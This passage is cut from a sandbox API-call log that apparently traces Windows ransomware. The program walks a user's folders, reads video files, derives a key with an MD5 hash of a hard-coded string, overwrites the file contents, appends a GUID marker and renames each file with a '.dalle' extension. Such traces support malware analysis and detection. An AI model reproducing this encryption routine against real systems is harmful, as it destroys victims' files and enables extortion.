(pszPath="C:\\Users\\") returned="Users\\" [0120.995] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.995] PathFindFileNameW (pszPath="") returned="" [0120.995] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0120.995] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.995] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.995] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0120.995] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.995] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.995] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.995] PathFindFileNameW (pszPath="") returned="" [0120.995] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0120.995] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.995] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.995] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0120.995] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.995] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.995] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.995] PathFindFileNameW (pszPath="") returned="" [0120.996] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda04ed0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda04ed0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.996] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda04ed0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda04ed0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.996] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8c7870, ftCreationTime.dwHighDateTime=0x1d4cb2c, ftLastAccessTime.dwLowDateTime=0x52fca60, ftLastAccessTime.dwHighDateTime=0x1d4cb4f, ftLastWriteTime.dwLowDateTime=0x52fca60, ftLastWriteTime.dwHighDateTime=0x1d4cb4f, nFileSizeHigh=0x0, nFileSizeLow=0x11869, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0g5wGPdK.flv", cAlternateFileName="")) returned 1 [0120.996] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0g5wGPdK.flv") returned=".flv" [0120.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0g5wGPdK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\0g5wgpdk.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.996] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=71785) returned 1 [0120.996] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.998] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11843, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.998] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.000] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11869, lpOverlapped=0x0) returned 1 [0121.000] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.000] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.001] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.001] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.001] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.001] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.001] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.002] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.002] GetLastError () returned 0x0 [0121.002] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.002] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.002] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11869, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.002] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.002] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.002] CloseHandle (hObject=0x618) returned 1 [0121.004] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0g5wGPdK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\0g5wgpdk.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\0g5wGPdK.flv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\0g5wgpdk.flv.dalle")) returned 1 [0121.005] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x108d5720, ftCreationTime.dwHighDateTime=0x1d4d508, ftLastAccessTime.dwLowDateTime=0x6ef280c0, ftLastAccessTime.dwHighDateTime=0x1d4d35e, ftLastWriteTime.dwLowDateTime=0x6ef280c0, ftLastWriteTime.dwHighDateTime=0x1d4d35e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3RmBDGRm1", cAlternateFileName="3RMBDG~1")) returned 1 [0121.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0121.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x30230e8 [0121.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0121.005] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc46e8dc0, ftCreationTime.dwHighDateTime=0x1d4ca24, ftLastAccessTime.dwLowDateTime=0x1c1c7ae0, ftLastAccessTime.dwHighDateTime=0x1d4d3ef, ftLastWriteTime.dwLowDateTime=0x1c1c7ae0, ftLastWriteTime.dwHighDateTime=0x1d4d3ef, nFileSizeHigh=0x0, nFileSizeLow=0xdc4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="81m98bb.mp4", cAlternateFileName="")) returned 1 [0121.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0121.005] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0121.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0121.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\81m98bb.mp4") returned=".mp4" [0121.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\81m98bb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\81m98bb.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.007] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=56394) returned 1 [0121.007] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.009] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdc24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.009] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.010] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.010] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.010] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.011] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xdc4a, lpOverlapped=0x0) returned 1 [0121.011] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.011] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.011] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.011] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.012] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.012] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.012] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.012] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.012] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.012] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.012] GetLastError () returned 0x0 [0121.013] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.013] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.013] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xdc50) returned 0x3096780 [0121.013] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.013] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xdc45, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xdc45, lpOverlapped=0x0) returned 1 [0121.013] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.013] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdc4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.013] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0121.013] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0121.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.013] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.014] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0121.014] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0121.014] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.014] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.014] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.014] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.014] CloseHandle (hObject=0x618) returned 1 [0121.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0121.015] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0121.015] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0121.015] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\81m98bb.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\81m98bb.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\81m98bb.mp4.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\81m98bb.mp4.dalle")) returned 1 [0121.015] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.015] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.016] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0121.016] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ad56a30, ftCreationTime.dwHighDateTime=0x1d4d06c, ftLastAccessTime.dwLowDateTime=0xc9503110, ftLastAccessTime.dwHighDateTime=0x1d4ccc0, ftLastWriteTime.dwLowDateTime=0xc9503110, ftLastWriteTime.dwHighDateTime=0x1d4ccc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C1rxOBMk76mToWuy0Nfm", cAlternateFileName="C1RXOB~1")) returned 1 [0121.016] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.016] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0121.016] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.017] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0121.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0121.017] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b87c360, ftCreationTime.dwHighDateTime=0x1d4d377, ftLastAccessTime.dwLowDateTime=0x7cf8d6d0, ftLastAccessTime.dwHighDateTime=0x1d4d118, ftLastWriteTime.dwLowDateTime=0x7cf8d6d0, ftLastWriteTime.dwHighDateTime=0x1d4d118, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jDCuGCvpf1uArI", cAlternateFileName="JDCUGC~1")) returned 1 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018998 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3017fc0 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018998 | out: hHeap=0x5e0000) returned 1 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0121.017] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1acb2180, ftCreationTime.dwHighDateTime=0x1d4c753, ftLastAccessTime.dwLowDateTime=0xaad9ca0, ftLastAccessTime.dwHighDateTime=0x1d4c817, ftLastWriteTime.dwLowDateTime=0xaad9ca0, ftLastWriteTime.dwHighDateTime=0x1d4c817, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TtcUW", cAlternateFileName="")) returned 1 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3023080 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0121.017] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a363ce0, ftCreationTime.dwHighDateTime=0x1d4d109, ftLastAccessTime.dwLowDateTime=0x57c095a0, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0x57c095a0, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VAl2x_eF9QxFAJr5rV", cAlternateFileName="VAL2X_~1")) returned 1 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa6) returned 0x2f7e028 [0121.017] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x310) returned 0x30940c0 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3023150 [0121.017] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018998 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30180b0 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018560 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30184e8 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018470 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018650 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3023490 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0fc8 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018038 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018308 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x30234f8 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0f40 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018128 [0121.018] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3023560 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018920 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018830 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30188a8 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30187b8 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30185d8 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023428 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0121.018] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) 